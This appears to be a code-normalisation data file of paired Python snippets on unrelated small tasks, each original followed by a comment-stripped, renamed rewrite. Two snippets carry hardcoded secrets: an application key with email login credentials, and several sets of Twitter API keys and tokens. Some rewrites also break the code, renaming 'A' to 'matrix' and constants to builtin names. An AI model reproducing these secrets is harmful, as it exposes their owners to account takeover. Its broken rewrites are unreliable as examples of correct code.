"children": [
{
"string": "First, I will update the book and close the Shrimping reviewers list.",
"create-email": "romilly.cocking@gmail.com",
"create-time": 1601223666484,
"uid": "QJAhurETb",
"edit-time": 1601223820671,
"edit-email": "romilly.cocking@gmail.com"
},
{
"string": "I'm also going to focus on getting the website sorted",
"create-email": "romilly.cocking@gmail.com",
"create-time": 1601223706830,
"uid": "rjCbT0CE8",
"edit-time": 1601223815079,
"edit-email": "romilly.cocking@gmail.com"
},
{
"string": "If there's time, I will also build the 4WD bot",
"create-email": "romilly.cocking@gmail.com",
"create-time": 1601223740232,
"uid": "Yo_rMqkl0",
"edit-time": 1601223830272,
"edit-email": "romilly.cocking@gmail.com"
}
],
"edit-time": 1601199263446,
"edit-email": "romilly.cocking@gmail.com"
}""" | page_01 = '\n {\n "title": "September 27th, 2020",\n "children": [\n {\n "string": "I\'m exploring Roam. At present it looks like the application I have been looking for (and wanting to build) for decades!",\n "create-email": "romilly.cocking@gmail.com",\n "create-time": 1601199052228,\n "uid": "STxEtlrfX",\n "edit-time": 1601199052889,\n "edit-email": "romilly.cocking@gmail.com"\n },\n {\n "string": "I am starting on a [[weekly plan]] which I would normally mindmap.",\n "create-email": "romilly.cocking@gmail.com",\n "create-time": 1601199054233,\n "uid": "TTOJcnfoI",\n "edit-time": 1601199282820,\n "edit-email": "romilly.cocking@gmail.com"\n },\n {\n "string": "This looks as if it may be a good replacement for [[TiddlyWiki]].",\n "create-email": "romilly.cocking@gmail.com",\n "create-time": 1601199282952,\n "uid": "fUqDePkss",\n "edit-time": 1601199363820,\n "edit-email": "romilly.cocking@gmail.com"\n },\n {\n "string": "{{[[DONE]]}} I should take a look at [[MailMunch]].",\n "create-email": "romilly.cocking@gmail.com",\n "create-time": 1601199364439,\n "uid": "9R178KGAY",\n "edit-time": 1601214570241,\n "edit-email": "romilly.cocking@gmail.com"\n },\n {\n "string": "The [[Roam]] website took me to [Ness Labs](https://nesslabs.com/roam-research-beginner-guide) where there is other interesting stuff.",\n "create-email": "romilly.cocking@gmail.com",\n "create-time": 1601207720624,\n "uid": "NDBu8xonq",\n "edit-time": 1601208019417,\n "edit-email": "romilly.cocking@gmail.com"\n },\n {\n "string": "{{[[TODO]]}} I\'ll also start building up some [[Accelerator Key Resources]].",\n "create-email": "romilly.cocking@gmail.com",\n "create-time": 1601224109581,\n "uid": "C8xuCi43V",\n "edit-time": 1601224162576,\n "edit-email": "romilly.cocking@gmail.com"\n },\n {\n "string": "Import",\n "children": [\n {\n "string": "[[planning]]",\n "children": [\n {\n "string": "From: planning.md",\n "uid": "0VGVaFbbY",\n "edit-time": 1601225982592,\n "edit-email": "romilly.cocking@gmail.com"\n }\n ],\n "uid": "1I6qDXHU9",\n "edit-time": 1601225982592,\n "edit-email": "romilly.cocking@gmail.com"\n }\n ],\n "uid": "wMh8vBg2B",\n "edit-time": 1601225982592,\n "edit-email": "romilly.cocking@gmail.com"\n },\n {\n "string": "Import",\n "children": [\n {\n "string": "[[External Research]]",\n "children": [\n {\n "string": "From: external-research.md",\n "uid": "VvWmwN2gw",\n "edit-time": 1601226211424,\n "edit-email": "romilly.cocking@gmail.com"\n }\n ],\n "uid": "6nA3VvrHX",\n "edit-time": 1601226280229,\n "edit-email": "romilly.cocking@gmail.com"\n }\n ],\n "uid": "LQxdpzehK",\n "edit-time": 1601226211424,\n "edit-email": "romilly.cocking@gmail.com"\n }\n ],\n "edit-time": 1601226211424,\n "edit-email": "romilly.cocking@gmail.com"\n }\n'
page_02 = '\n{\n "create-email": "romilly.cocking@gmail.com",\n "create-time": 1601199263426,\n "title": "weekly plan",\n "children": [\n {\n "string": "First, I will update the book and close the Shrimping reviewers list.",\n "create-email": "romilly.cocking@gmail.com",\n "create-time": 1601223666484,\n "uid": "QJAhurETb",\n "edit-time": 1601223820671,\n "edit-email": "romilly.cocking@gmail.com"\n },\n {\n "string": "I\'m also going to focus on getting the website sorted",\n "create-email": "romilly.cocking@gmail.com",\n "create-time": 1601223706830,\n "uid": "rjCbT0CE8",\n "edit-time": 1601223815079,\n "edit-email": "romilly.cocking@gmail.com"\n },\n {\n "string": "If there\'s time, I will also build the 4WD bot",\n "create-email": "romilly.cocking@gmail.com",\n "create-time": 1601223740232,\n "uid": "Yo_rMqkl0",\n "edit-time": 1601223830272,\n "edit-email": "romilly.cocking@gmail.com"\n }\n ],\n "edit-time": 1601199263446,\n "edit-email": "romilly.cocking@gmail.com"\n }' |
class KeyHolder():
key = "(_e0p73$co#nse*^-(3b60(f*)6h1bmaaada@kleyb)pj5=1)6"
email_user = 'HuntAdminLototron'
email_password = '0a4c9be34e616e91c9516fdd07bf7de2'
| class Keyholder:
key = '(_e0p73$co#nse*^-(3b60(f*)6h1bmaaada@kleyb)pj5=1)6'
email_user = 'HuntAdminLototron'
email_password = '0a4c9be34e616e91c9516fdd07bf7de2' |
A = Matrix([[1, 2], [-2, 1]])
A.is_positive_definite
# True
A.is_positive_semidefinite
# True
p = plot3d((x.T*A*x)[0, 0], (a, -1, 1), (b, -1, 1))
| a = matrix([[1, 2], [-2, 1]])
A.is_positive_definite
A.is_positive_semidefinite
p = plot3d((x.T * A * x)[0, 0], (a, -1, 1), (b, -1, 1)) |
"""
Morse code, as we are all aware, consists of dots and dashes. Lets define a "Morse code sequence" as simply a series of
dots and dashes (and nothing else). So ".--.-.--" would be a morse code sequence, for instance.
Dashes obviously take longer to transmit, that's what makes them dashes. Lets say that a dot takes 1 unit of time to
transmit, and a dash takes 2 units of time. Then we can say that the "size" of a certain morse code sequence is the sum
of the time it takes to transmit the dots and dashes. So, for instance "..-." would have a size of 5 (since there's
three dots taking three units of time and one dash taking two units of time, for a total of 5). The sequence "-.-" would
also have a size of 5.
In fact, if you list all the the possible Morse code sequences of size 5, you get:
..... ...- ..-. .-.. -... .-- -.- --.
A total of 8 different sequences.
Your task is to write a function called Morse(X) which generates all morse code sequences of size X and returns them as
an array of strings (so Morse(5) should return the 8 strings I just mentioned, in some order).
Use your function to generate and print out all sequences of size 10.
Bonus: Try and write your code so that it can generate Morse(35) (or even Morse(36) or higher, but that takes a
significant amount of memory) in a "reasonable" amount of time. "Reasonable" obviously depend on what computer and
programming language you are using, but a good rule of thumb should be that it should finish in less than a minute.
"""
def morse(x):
res = '.' * x
n = 1
result = [res]
while res.count('.') > 1:
res = res.replace('..', '-', 1)
r = res[:]
length = len(r)
# print(r)
result.append(r)
n += 1
while '.' in r[r.find('-'):]:
i = r.rfind('-')
if i == 0:
r = r[1] + '-' + r[2:]
elif i == length-1:
hold = ''
while r[-1] == '-':
hold += '-'
r = r[:-1]
j = r.rfind('-')
r = r[:j] + '.-' + hold + r[j + 2:]
else:
r = r[:i] + '.-' + r[i+2:]
result.append(r)
# print(r)
n += 1
print('{} combinations'.format(n))
return result
def main():
result = morse(36)
if __name__ == "__main__":
main()
| """
Morse code, as we are all aware, consists of dots and dashes. Lets define a "Morse code sequence" as simply a series of
dots and dashes (and nothing else). So ".--.-.--" would be a morse code sequence, for instance.
Dashes obviously take longer to transmit, that's what makes them dashes. Lets say that a dot takes 1 unit of time to
transmit, and a dash takes 2 units of time. Then we can say that the "size" of a certain morse code sequence is the sum
of the time it takes to transmit the dots and dashes. So, for instance "..-." would have a size of 5 (since there's
three dots taking three units of time and one dash taking two units of time, for a total of 5). The sequence "-.-" would
also have a size of 5.
In fact, if you list all the the possible Morse code sequences of size 5, you get:
..... ...- ..-. .-.. -... .-- -.- --.
A total of 8 different sequences.
Your task is to write a function called Morse(X) which generates all morse code sequences of size X and returns them as
an array of strings (so Morse(5) should return the 8 strings I just mentioned, in some order).
Use your function to generate and print out all sequences of size 10.
Bonus: Try and write your code so that it can generate Morse(35) (or even Morse(36) or higher, but that takes a
significant amount of memory) in a "reasonable" amount of time. "Reasonable" obviously depend on what computer and
programming language you are using, but a good rule of thumb should be that it should finish in less than a minute.
"""
def morse(x):
res = '.' * x
n = 1
result = [res]
while res.count('.') > 1:
res = res.replace('..', '-', 1)
r = res[:]
length = len(r)
result.append(r)
n += 1
while '.' in r[r.find('-'):]:
i = r.rfind('-')
if i == 0:
r = r[1] + '-' + r[2:]
elif i == length - 1:
hold = ''
while r[-1] == '-':
hold += '-'
r = r[:-1]
j = r.rfind('-')
r = r[:j] + '.-' + hold + r[j + 2:]
else:
r = r[:i] + '.-' + r[i + 2:]
result.append(r)
n += 1
print('{} combinations'.format(n))
return result
def main():
result = morse(36)
if __name__ == '__main__':
main() |
top_html = """<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"></meta>
</head>
<frameset cols="20%,*">
<frame src="tree.xml"/>
<frame src="plotter.xml"/>
</frameset>
</html>
""" | top_html = '<html>\n\n<head>\n<meta http-equiv="Content-Type" content="text/html; charset=utf-8"></meta>\n</head>\n\n<frameset cols="20%,*">\n\t<frame src="tree.xml"/>\n\t<frame src="plotter.xml"/>\n</frameset>\n\n</html>\n' |
def gitignore_content() -> str:
return """
lib
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
lerna-debug.log*
# Diagnostic reports (https://nodejs.org/api/report.html)
report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
# Runtime data
pids
*.pid
*.seed
*.pid.lock
# Directory for instrumented libs generated by jscoverage/JSCover
lib-cov
# Coverage directory used by tools like istanbul
coverage
*.lcov
# nyc test coverage
.nyc_output
# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
.grunt
# Bower dependency directory (https://bower.io/)
bower_components
# node-waf configuration
.lock-wscript
# Compiled binary addons (https://nodejs.org/api/addons.html)
build/Release
# Dependency directories
node_modules/
jspm_packages/
# TypeScript v1 declaration files
typings/
# TypeScript cache
*.tsbuildinfo
# Optional npm cache directory
.npm
# Optional eslint cache
.eslintcache
# Microbundle cache
.rpt2_cache/
.rts2_cache_cjs/
.rts2_cache_es/
.rts2_cache_umd/
# Optional REPL history
.node_repl_history
# Output of 'npm pack'
*.tgz
# Yarn Integrity file
.yarn-integrity
# dotenv environment variables file
.env
.env.test
# parcel-bundler cache (https://parceljs.org/)
.cache
# Next.js build output
.next
# Nuxt.js build / generate output
.nuxt
dist
# Gatsby files
.cache/
# Comment in the public line in if your project uses Gatsby and *not* Next.js
# https://nextjs.org/blog/next-9-1#public-directory-support
# public
# vuepress build output
.vuepress/dist
# Serverless directories
.serverless/
# FuseBox cache
.fusebox/
# DynamoDB Local files
.dynamodb/
# TernJS port file
.tern-port
""".strip() + '\n'
| def gitignore_content() -> str:
return "\nlib\n\n# Logs\nlogs\n*.log\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\nlerna-debug.log*\n\n# Diagnostic reports (https://nodejs.org/api/report.html)\nreport.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json\n\n# Runtime data\npids\n*.pid\n*.seed\n*.pid.lock\n\n# Directory for instrumented libs generated by jscoverage/JSCover\nlib-cov\n\n# Coverage directory used by tools like istanbul\ncoverage\n*.lcov\n\n# nyc test coverage\n.nyc_output\n\n# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)\n.grunt\n\n# Bower dependency directory (https://bower.io/)\nbower_components\n\n# node-waf configuration\n.lock-wscript\n\n# Compiled binary addons (https://nodejs.org/api/addons.html)\nbuild/Release\n\n# Dependency directories\nnode_modules/\njspm_packages/\n\n# TypeScript v1 declaration files\ntypings/\n\n# TypeScript cache\n*.tsbuildinfo\n\n# Optional npm cache directory\n.npm\n\n# Optional eslint cache\n.eslintcache\n\n# Microbundle cache\n.rpt2_cache/\n.rts2_cache_cjs/\n.rts2_cache_es/\n.rts2_cache_umd/\n\n# Optional REPL history\n.node_repl_history\n\n# Output of 'npm pack'\n*.tgz\n\n# Yarn Integrity file\n.yarn-integrity\n\n# dotenv environment variables file\n.env\n.env.test\n\n# parcel-bundler cache (https://parceljs.org/)\n.cache\n\n# Next.js build output\n.next\n\n# Nuxt.js build / generate output\n.nuxt\ndist\n\n# Gatsby files\n.cache/\n# Comment in the public line in if your project uses Gatsby and *not* Next.js\n# https://nextjs.org/blog/next-9-1#public-directory-support\n# public\n\n# vuepress build output\n.vuepress/dist\n\n# Serverless directories\n.serverless/\n\n# FuseBox cache\n.fusebox/\n\n# DynamoDB Local files\n.dynamodb/\n\n# TernJS port file\n.tern-port\n ".strip() + '\n' |
# x, y: arguments
x = 2
y = 3
# a, b: parameters
def function(a, b):
print(a, b)
function(x, y)
# default arguments
def function2(a, b=None):
if b:
print(a, b)
else:
print(a)
function2(x)
function2(x, b=y) # bei default parametern immer variable= -> besser lesbar
# Funktionen ohne return Value returnen immer None !
#return_value = function2(x ,b=y)
#print(return_value) | x = 2
y = 3
def function(a, b):
print(a, b)
function(x, y)
def function2(a, b=None):
if b:
print(a, b)
else:
print(a)
function2(x)
function2(x, b=y) |
class LogMessage:
text = "EMPTY"
stack = 1 # for more than one equal message in a row
replaceable = False
color = (200, 200, 200)
def __init__(self, text, replaceable=False, color=(200, 200, 200)):
self.text = text
self.replaceable = replaceable
self.color = color
| class Logmessage:
text = 'EMPTY'
stack = 1
replaceable = False
color = (200, 200, 200)
def __init__(self, text, replaceable=False, color=(200, 200, 200)):
self.text = text
self.replaceable = replaceable
self.color = color |
cfiles = {"train_features":'./legacy_tests/data/class_train.features',
"train_labels":'./legacy_tests/data/class_train.labels',
"test_features":'./legacy_tests/data/class_test.features',
"test_labels":'./legacy_tests/data/class_test.labels'}
rfiles = {"train_features":'./legacy_tests/data/reg_train.features',
"train_labels":'./legacy_tests/data/reg_train.labels',
"test_features":'./legacy_tests/data/reg_test.features',
"test_labels":'./legacy_tests/data/reg_test.labels'}
defparams = {"X":"train_features", "Y":"train_labels"}
experiments = {"rls_defparams":{
"learner":"RLS",
"lpath":"rlscore.learner.rls",
"measure":"auc",
"lfparams": defparams,
"lparams": {"regparam":1},
"files": cfiles},
"rls_classification":{
"learner":"LeaveOneOutRLS",
"lpath":"rlscore.learner.rls",
"measure":"auc",
"lfparams": defparams,
"lparams": {},
"files": cfiles,
"selection":True},
"rls_regression":{
"learner":"LeaveOneOutRLS",
"lpath":"rlscore.learner.rls",
"measure":"sqerror",
"lfparams": defparams,
"lparams": {},
"files": rfiles,
"selection":True},
"rls_lpocv":{
"learner":"LeavePairOutRLS",
"lpath":"rlscore.learner.rls",
"measure":"auc",
"lfparams": dict(defparams.items() + [("folds","folds")]),
"lparams": {},
"files": dict(cfiles.items()+[("folds",'./legacy_tests/data/folds.txt')]),
"selection":True},
"rls_nfold":{
"learner":"KfoldRLS",
"lpath":"rlscore.learner.rls",
"measure":"auc",
"lfparams": dict(defparams.items() + [("folds","folds")]),
"lparams": {},
"files": dict(cfiles.items()+[("folds",'./legacy_tests/data/folds.txt')]),
"selection":True},
"rls_gaussian":{
"learner":"LeaveOneOutRLS",
"lpath":"rlscore.learner.rls",
"measure":"auc",
"lfparams": defparams,
"lparams": {"kernel":"GaussianKernel", "gamma":0.01},
"files": cfiles,
"selection":True},
"rls_polynomial":{
"learner":"LeaveOneOutRLS",
"lpath":"rlscore.learner.rls",
"measure":"auc",
"lfparams": defparams,
"lparams": {"kernel":"PolynomialKernel", "gamma":2, "coef0":1, "degree":3},
"files": cfiles,
"selection":True},
"rls_reduced":{
"learner":"LeaveOneOutRLS",
"lpath":"rlscore.learner.rls",
"measure":"auc",
"lfparams": dict(defparams.items()+[("basis_vectors","basis_vectors")]),
"lparams": {"kernel":"PolynomialKernel", "gamma":0.01},
"files": dict(cfiles.items()+[("basis_vectors",'./legacy_tests/data/bvectors.indices')]),
"selection":True},
"rls_reduced_linear":{
"learner":"LeaveOneOutRLS",
"lpath":"rlscore.learner.rls",
"measure":"auc",
"lfparams": dict(defparams.items()+[("basis_vectors","basis_vectors")]),
"lparams": {},
"files": dict(cfiles.items()+[("basis_vectors",'./legacy_tests/data/bvectors.indices')]),
"selection":True},
"cg_rls":{
"learner":"CGRLS",
"lpath":"rlscore.learner.cg_rls",
"measure":"auc",
"lfparams": defparams,
"lparams": {"regparam":1},
"files": cfiles,
}}
| cfiles = {'train_features': './legacy_tests/data/class_train.features', 'train_labels': './legacy_tests/data/class_train.labels', 'test_features': './legacy_tests/data/class_test.features', 'test_labels': './legacy_tests/data/class_test.labels'}
rfiles = {'train_features': './legacy_tests/data/reg_train.features', 'train_labels': './legacy_tests/data/reg_train.labels', 'test_features': './legacy_tests/data/reg_test.features', 'test_labels': './legacy_tests/data/reg_test.labels'}
defparams = {'X': 'train_features', 'Y': 'train_labels'}
experiments = {'rls_defparams': {'learner': 'RLS', 'lpath': 'rlscore.learner.rls', 'measure': 'auc', 'lfparams': defparams, 'lparams': {'regparam': 1}, 'files': cfiles}, 'rls_classification': {'learner': 'LeaveOneOutRLS', 'lpath': 'rlscore.learner.rls', 'measure': 'auc', 'lfparams': defparams, 'lparams': {}, 'files': cfiles, 'selection': True}, 'rls_regression': {'learner': 'LeaveOneOutRLS', 'lpath': 'rlscore.learner.rls', 'measure': 'sqerror', 'lfparams': defparams, 'lparams': {}, 'files': rfiles, 'selection': True}, 'rls_lpocv': {'learner': 'LeavePairOutRLS', 'lpath': 'rlscore.learner.rls', 'measure': 'auc', 'lfparams': dict(defparams.items() + [('folds', 'folds')]), 'lparams': {}, 'files': dict(cfiles.items() + [('folds', './legacy_tests/data/folds.txt')]), 'selection': True}, 'rls_nfold': {'learner': 'KfoldRLS', 'lpath': 'rlscore.learner.rls', 'measure': 'auc', 'lfparams': dict(defparams.items() + [('folds', 'folds')]), 'lparams': {}, 'files': dict(cfiles.items() + [('folds', './legacy_tests/data/folds.txt')]), 'selection': True}, 'rls_gaussian': {'learner': 'LeaveOneOutRLS', 'lpath': 'rlscore.learner.rls', 'measure': 'auc', 'lfparams': defparams, 'lparams': {'kernel': 'GaussianKernel', 'gamma': 0.01}, 'files': cfiles, 'selection': True}, 'rls_polynomial': {'learner': 'LeaveOneOutRLS', 'lpath': 'rlscore.learner.rls', 'measure': 'auc', 'lfparams': defparams, 'lparams': {'kernel': 'PolynomialKernel', 'gamma': 2, 'coef0': 1, 'degree': 3}, 'files': cfiles, 'selection': True}, 'rls_reduced': {'learner': 'LeaveOneOutRLS', 'lpath': 'rlscore.learner.rls', 'measure': 'auc', 'lfparams': dict(defparams.items() + [('basis_vectors', 'basis_vectors')]), 'lparams': {'kernel': 'PolynomialKernel', 'gamma': 0.01}, 'files': dict(cfiles.items() + [('basis_vectors', './legacy_tests/data/bvectors.indices')]), 'selection': True}, 'rls_reduced_linear': {'learner': 'LeaveOneOutRLS', 'lpath': 'rlscore.learner.rls', 'measure': 'auc', 'lfparams': dict(defparams.items() + [('basis_vectors', 'basis_vectors')]), 'lparams': {}, 'files': dict(cfiles.items() + [('basis_vectors', './legacy_tests/data/bvectors.indices')]), 'selection': True}, 'cg_rls': {'learner': 'CGRLS', 'lpath': 'rlscore.learner.cg_rls', 'measure': 'auc', 'lfparams': defparams, 'lparams': {'regparam': 1}, 'files': cfiles}} |
class Solution:
def findAnagrams(self, s: str, p: str) -> List[int]:
if len(s) < len(p):
return []
sl = []
ans = []
pl =[0]*26
for i in p:
pl[ord(i)-97]+=1
for ix, i in enumerate(s):
if not sl:
sl = [0]*26
for i in s[:len(p)]:
sl[ord(i)-97] +=1
else:
if ix+len(p)-1 < len(s):
sl[ord(s[ix-1])-97]-=1
sl[ord(s[ix+len(p)-1])-97]+=1
else:
return ans
if sl == pl:
ans.append(ix)
return ans | class Solution:
def find_anagrams(self, s: str, p: str) -> List[int]:
if len(s) < len(p):
return []
sl = []
ans = []
pl = [0] * 26
for i in p:
pl[ord(i) - 97] += 1
for (ix, i) in enumerate(s):
if not sl:
sl = [0] * 26
for i in s[:len(p)]:
sl[ord(i) - 97] += 1
elif ix + len(p) - 1 < len(s):
sl[ord(s[ix - 1]) - 97] -= 1
sl[ord(s[ix + len(p) - 1]) - 97] += 1
else:
return ans
if sl == pl:
ans.append(ix)
return ans |
#!/usr/bin/env python3
s = '{19}'
print('s is:', s)
n = s[2:-1]
print(n)
# make n=20 copies of '1':
# idea: use a loop
def make_N_copies_of_1(s):
n = s[2:-1] # number of copies
i = 0
result = ''
while i < int(n):
result += '1'
i += 1
return result
print(make_20_copies_of_1(s))
| s = '{19}'
print('s is:', s)
n = s[2:-1]
print(n)
def make_n_copies_of_1(s):
n = s[2:-1]
i = 0
result = ''
while i < int(n):
result += '1'
i += 1
return result
print(make_20_copies_of_1(s)) |
# Usage: python3 l2bin.py
source = open('MCZ.PROM.78089.L', 'r')
dest = open('MCZ.PROM.78089.BIN', 'wb')
next = 0
for line in source:
# Useful lines are like: 0013 210000
if len(line) >= 8 and line[0] != ' ' and line[7] != ' ':
parts = line.split()
try:
address = int(parts[0], 16)
code = bytes.fromhex(parts[1])
while next < address:
dest.write(b'\x00')
next += 1
# Fix pruned trings in .L
if address == 0x0002:
code = '78089N'.encode('ascii')
elif address == 0x0b34:
code = 'SERIAL PORT INPUT '.encode('ascii')
elif address == 0x0b48:
code = 'BREAK AT '.encode('ascii')
elif address == 0x0b52:
code = 'DISK ERROR'.encode('ascii')
elif address == 0x0b87:
code = "A B C D E F H L I A'B'C'D'".encode('ascii')
elif address == 0x0ba1:
code = "E'F'H'L'IXIYPCSP".encode('ascii')
dest.write(code)
next += len(code)
except ValueError:
continue
dest.close()
source.close() | source = open('MCZ.PROM.78089.L', 'r')
dest = open('MCZ.PROM.78089.BIN', 'wb')
next = 0
for line in source:
if len(line) >= 8 and line[0] != ' ' and (line[7] != ' '):
parts = line.split()
try:
address = int(parts[0], 16)
code = bytes.fromhex(parts[1])
while next < address:
dest.write(b'\x00')
next += 1
if address == 2:
code = '78089N'.encode('ascii')
elif address == 2868:
code = 'SERIAL PORT INPUT '.encode('ascii')
elif address == 2888:
code = 'BREAK AT '.encode('ascii')
elif address == 2898:
code = 'DISK ERROR'.encode('ascii')
elif address == 2951:
code = "A B C D E F H L I A'B'C'D'".encode('ascii')
elif address == 2977:
code = "E'F'H'L'IXIYPCSP".encode('ascii')
dest.write(code)
next += len(code)
except ValueError:
continue
dest.close()
source.close() |
#encoding:utf-8
subreddit = 'cyberpunkgame+LowSodiumCyberpunk'
t_channel = '@r_cyberpunk2077'
def send_post(submission, r2t):
return r2t.send_simple(submission)
| subreddit = 'cyberpunkgame+LowSodiumCyberpunk'
t_channel = '@r_cyberpunk2077'
def send_post(submission, r2t):
return r2t.send_simple(submission) |
global_var = 0
def outter():
def inner():
global global_var
global_var = 10
inner()
outter()
print(global_var) | global_var = 0
def outter():
def inner():
global global_var
global_var = 10
inner()
outter()
print(global_var) |
# 0 - establish connection
# 1 - service number 1
# 2 - service number 2
# 3 - service number 3
# 4 - service number 4
# 5 - non-idempotent service - check number of flights
# 6 - idempotent service - give this information service a like and retrieve how many likes this system has
# 11 - int
# 12 - string
# 13 - date-time
# 14 - floating point
# 15 - flight
INT = 11
STR = 12
DATE = 13
FP = 14
FLI = 15
AT_LEAST_ONCE = 100
AT_MOST_ONCE = 101
# 126 - error message
ERROR = 126 | int = 11
str = 12
date = 13
fp = 14
fli = 15
at_least_once = 100
at_most_once = 101
error = 126 |
def f(n):
max_even=len(str(n))-1
if str(n)[0]=="1":
max_even-=1
for i in range(n-1, -1, -1):
if i%2==0 or i%3==0:
continue
if count_even(i)<max_even:
continue
if isPrime(i):
return i
def isPrime(n):
for i in range(2, int(n**0.5)+1):
if n%i==0:
return False
return True
def count_even(n):
count=0
for i in str(n):
if int(i)%2==0:
count+=1
return count | def f(n):
max_even = len(str(n)) - 1
if str(n)[0] == '1':
max_even -= 1
for i in range(n - 1, -1, -1):
if i % 2 == 0 or i % 3 == 0:
continue
if count_even(i) < max_even:
continue
if is_prime(i):
return i
def is_prime(n):
for i in range(2, int(n ** 0.5) + 1):
if n % i == 0:
return False
return True
def count_even(n):
count = 0
for i in str(n):
if int(i) % 2 == 0:
count += 1
return count |
# testing the num_cells computation
def compute_num_cells(max_delta_x, pt0x, pt1x):
"""compute the number of blocks associated with the max_delta_x for the largest spatial step (combustion chamber)
Args:
max_delta_x (double): User defined maximum grid spacing.
pt0x (double): x-coordinate of bottom LHS cookstove combustion chamber
pt1x (double): x-coordinate of bottom RHS cookstove combustion chamber
Returns:
num_cells_int (int): number of cells to be written to the openfoam blockmesh file for entire domain
num_cells_double (double): number of cells to be written to the openfoam blockmesh file for entire domain BEFORE INT ROUNDING
"""
max_space = abs(pt1x-pt0x) # maximum spatial step in domain defined by coordinates
num_cells_double = max_space/max_delta_x # unrounded number of cells per block
num_cells_int = round(num_cells_double) # round to integer value
print("number of cells double")
print(num_cells_double)
print("Number of cells rounded to int value")
print(num_cells_int)
return num_cells_int, num_cells_double
def test_compute_num_cells():
# arbitrary for testing
max_delta_x = 0.04
pt1x = 0.87
pt0x = 0
num_cells_int, num_cells_double = compute_num_cells(max_delta_x, pt0x, pt1x)
assert num_cells_int == 22
assert num_cells_double == 21.75
| def compute_num_cells(max_delta_x, pt0x, pt1x):
"""compute the number of blocks associated with the max_delta_x for the largest spatial step (combustion chamber)
Args:
max_delta_x (double): User defined maximum grid spacing.
pt0x (double): x-coordinate of bottom LHS cookstove combustion chamber
pt1x (double): x-coordinate of bottom RHS cookstove combustion chamber
Returns:
num_cells_int (int): number of cells to be written to the openfoam blockmesh file for entire domain
num_cells_double (double): number of cells to be written to the openfoam blockmesh file for entire domain BEFORE INT ROUNDING
"""
max_space = abs(pt1x - pt0x)
num_cells_double = max_space / max_delta_x
num_cells_int = round(num_cells_double)
print('number of cells double')
print(num_cells_double)
print('Number of cells rounded to int value')
print(num_cells_int)
return (num_cells_int, num_cells_double)
def test_compute_num_cells():
max_delta_x = 0.04
pt1x = 0.87
pt0x = 0
(num_cells_int, num_cells_double) = compute_num_cells(max_delta_x, pt0x, pt1x)
assert num_cells_int == 22
assert num_cells_double == 21.75 |
# We have to find no of numbers between range (a,b) which has consecutive set bits.
# Hackerearth
n, q = map(int, input().split())
arr = list(map(int, input().split()))
for k in range(n):
l, h = map(int, input().split())
count = 0
for i in range(l-1, h):
if "11" in bin(arr[i]):
count+=1
print(count) | (n, q) = map(int, input().split())
arr = list(map(int, input().split()))
for k in range(n):
(l, h) = map(int, input().split())
count = 0
for i in range(l - 1, h):
if '11' in bin(arr[i]):
count += 1
print(count) |
# Twitter API Keys
#Given
# consumer_key = "Ed4RNulN1lp7AbOooHa9STCoU"
# consumer_secret = "P7cUJlmJZq0VaCY0Jg7COliwQqzK0qYEyUF9Y0idx4ujb3ZlW5"
# access_token = "839621358724198402-dzdOsx2WWHrSuBwyNUiqSEnTivHozAZ"
# access_token_secret = "dCZ80uNRbFDjxdU2EckmNiSckdoATach6Q8zb7YYYE5ER"
#Generated on June 21st 2018
# consumer_key = "aNLSAdW7yInFcn2K2ZyiQPcot"
# consumer_secret = "yDRFdvSvbCxLCUyBMbuqgkmidGiuDLPnSciG6WI2NGVzjrShsF"
# access_token = "1009876849122521089-5hIMxvbSQSI1I1wgiYmKysWrMe48n3"
# access_token_secret = "jcWvCTMUalCk2yA5Ih7ZoZwVZlbZwYx5BRz1s7P4CkkS0"
#Generated on Jun 23 2018
consumer_key = "n9WXASBiuLis9IxX0KE6VqWLN"
consumer_secret = "FqJmd8cCiFhX4tKr91xAJoBL0s5xxp9lmv3czEW84mT3jsLCj7"
access_token = "1009876849122521089-Sok0ZuMt7EYOLucBhgyDefaQlYJkXX"
access_token_secret = "IDt79lugJ9rsqa9n9Oly38Xr4rvFlrSzRWb0quPxJNnUg"
| consumer_key = 'n9WXASBiuLis9IxX0KE6VqWLN'
consumer_secret = 'FqJmd8cCiFhX4tKr91xAJoBL0s5xxp9lmv3czEW84mT3jsLCj7'
access_token = '1009876849122521089-Sok0ZuMt7EYOLucBhgyDefaQlYJkXX'
access_token_secret = 'IDt79lugJ9rsqa9n9Oly38Xr4rvFlrSzRWb0quPxJNnUg' |
numbers = input().split(" ")
max_number = ''
biggest = sorted(numbers, reverse = True)
for num in biggest:
max_number += num
print(max_number) | numbers = input().split(' ')
max_number = ''
biggest = sorted(numbers, reverse=True)
for num in biggest:
max_number += num
print(max_number) |
##########################################################################
# Author: Samuca
#
# brief: change and gives information about a string
#
# this is a list exercise available on youtube:
# https://www.youtube.com/playlist?list=PLHz_AreHm4dm6wYOIW20Nyg12TAjmMGT-
##########################################################################
#strip() means that the spaces before and after the string won't be considered
name = str(input("Write down your name: ")).strip()
print("analysing your name...")
print("It in Upper: {}".format(name.upper()))
print("It in Lower: {}".format(name.lower()))
#//// LEN()
#//// STR.COUNT()
#len(name) gives the number of char in the str (including ' ')
#name.count(' ') will return the number of ' ' in the str
#name.count('x') can count any char in the str
print("Number of letters: {}".format(len(name) - name.count(' ')))
#name.find('x') returns the index of the first appearence of that char
#print("Your first name has {} letters".format(name.find(' ')))
#//// SPLIT()
#other way is with split(), that will create a list separating the
#chars by the space, if any other char be said (this char is not included).
sep = name.split()
print(sep)
print("Yout first name is {}, it has {} letters".format(sep[0], len(sep[0])))
| name = str(input('Write down your name: ')).strip()
print('analysing your name...')
print('It in Upper: {}'.format(name.upper()))
print('It in Lower: {}'.format(name.lower()))
print('Number of letters: {}'.format(len(name) - name.count(' ')))
sep = name.split()
print(sep)
print('Yout first name is {}, it has {} letters'.format(sep[0], len(sep[0]))) |
end_line_chars = (".", ",", ";", ":", "!", "?", "-")
def split_into_blocks(text, line_length, block_size):
words = text.strip("\n").split()
current_line = ""
lines = []
blocks = []
char_counter = 0
for i, word in enumerate(words): # check every word
if len(lines) < (block_size - 1): # if current block is smaller than needed
if (char_counter + len(word) + 1) < line_length: # if there's space for new word in line
char_counter += len(word) + 1 # add word's len and 1 space to counter
current_line += word + " " # add word and 1 space to line
